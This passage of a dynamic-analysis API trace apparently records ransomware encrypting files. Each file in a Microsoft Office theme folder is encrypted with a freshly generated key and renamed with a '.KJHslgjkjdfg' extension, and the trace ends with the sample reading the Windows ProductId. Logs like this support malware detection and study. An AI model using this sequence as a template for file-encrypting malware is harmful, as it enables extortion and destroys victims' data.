pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x682, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x682, lpOverlapped=0x0) returned 1 [0177.713] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x690, dwBufLen=0x690 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x690) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x690, lpOverlapped=0x0) returned 1 [0177.713] CryptDestroyKey (hKey=0x2f18308) returned 1 [0177.713] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.713] SetEndOfFile (hFile=0x12c) returned 1 [0177.716] GetProcessHeap () returned 0x2ef0000 [0177.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0177.716] GetProcessHeap () returned 0x2ef0000 [0177.716] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0177.716] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.kjhslgjkjdfg")) returned 1 [0177.719] CloseHandle (hObject=0x12c) returned 1 [0177.719] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0177.719] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.720] GetProcessHeap () returned 0x2ef0000 [0177.720] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0177.720] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0177.720] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0177.720] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0177.766] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0177.766] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0177.766] GetProcessHeap () returned 0x2ef0000 [0177.766] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0177.766] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0177.766] CryptDestroyKey (hKey=0x2f18308) returned 1 [0177.766] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0177.766] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0177.766] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0177.766] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0177.766] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0177.767] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0177.767] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0177.767] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0177.767] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.767] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb75e, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xb75e, lpOverlapped=0x0) returned 1 [0177.953] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb760, dwBufLen=0xb760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xb760) returned 1 [0177.954] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.954] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xb760, lpOverlapped=0x0) returned 1 [0177.954] CryptDestroyKey (hKey=0x2f18308) returned 1 [0177.955] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.955] SetEndOfFile (hFile=0x12c) returned 1 [0177.957] GetProcessHeap () returned 0x2ef0000 [0177.957] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0177.957] GetProcessHeap () returned 0x2ef0000 [0177.957] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0177.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.elm.kjhslgjkjdfg")) returned 1 [0178.577] CloseHandle (hObject=0x12c) returned 1 [0178.578] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RADIAL.INF", cAlternateFileName="")) returned 1 [0178.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.578] GetProcessHeap () returned 0x2ef0000 [0178.578] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0178.578] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0178.578] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0178.578] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0178.580] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.580] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.580] GetProcessHeap () returned 0x2ef0000 [0178.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0178.580] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0178.580] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.580] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0178.580] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0178.581] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0178.581] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0178.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0178.581] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0178.581] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.581] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.581] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.582] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x24a, lpOverlapped=0x0) returned 1 [0178.582] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x250) returned 1 [0178.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.582] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x250, lpOverlapped=0x0) returned 1 [0178.582] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.582] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.582] SetEndOfFile (hFile=0x12c) returned 1 [0178.584] GetProcessHeap () returned 0x2ef0000 [0178.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0178.585] GetProcessHeap () returned 0x2ef0000 [0178.585] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0178.585] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\RADIAL.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\radial.inf.kjhslgjkjdfg")) returned 1 [0178.586] CloseHandle (hObject=0x12c) returned 1 [0178.587] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0178.587] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0178.587] GetProcessHeap () returned 0x2ef0000 [0178.587] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0178.587] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0178.587] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0178.587] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0178.589] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.589] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.589] GetProcessHeap () returned 0x2ef0000 [0178.589] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0178.589] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0178.589] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.589] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0178.589] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0178.589] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0178.589] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0178.589] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0178.589] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0178.590] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0178.590] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0178.590] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.590] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4c6b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4c6b, lpOverlapped=0x0) returned 1 [0178.591] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4c70, dwBufLen=0x4c70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4c70) returned 1 [0178.591] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.591] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4c70, lpOverlapped=0x0) returned 1 [0178.591] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.591] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x4d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.591] SetEndOfFile (hFile=0x12c) returned 1 [0178.596] GetProcessHeap () returned 0x2ef0000 [0178.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0178.596] GetProcessHeap () returned 0x2ef0000 [0178.596] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0178.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0178.599] CloseHandle (hObject=0x12c) returned 1 [0178.599] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0178.599] GetProcessHeap () returned 0x2ef0000 [0178.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0178.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0178.599] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0178.599] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.599] GetProcessHeap () returned 0x2ef0000 [0178.599] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0178.599] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0178.600] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0178.600] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.600] GetProcessHeap () returned 0x2ef0000 [0178.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0178.600] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0178.600] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0178.600] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.600] GetProcessHeap () returned 0x2ef0000 [0178.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0178.600] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0178.600] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0178.600] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.600] GetProcessHeap () returned 0x2ef0000 [0178.600] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0178.600] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0178.600] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0178.600] CryptDestroyKey (hKey=0x2f18308) returned 1 [0178.600] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0178.601] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0178.601] RegCloseKey (hKey=0x12c) returned 0x0 [0178.601] GetProcessHeap () returned 0x2ef0000 [0178.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0178.601] GetProcessHeap () returned 0x2ef0000 [0178.601] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0178.601] GetProcessHeap () returned 0x2ef0000 [0178.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0178.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 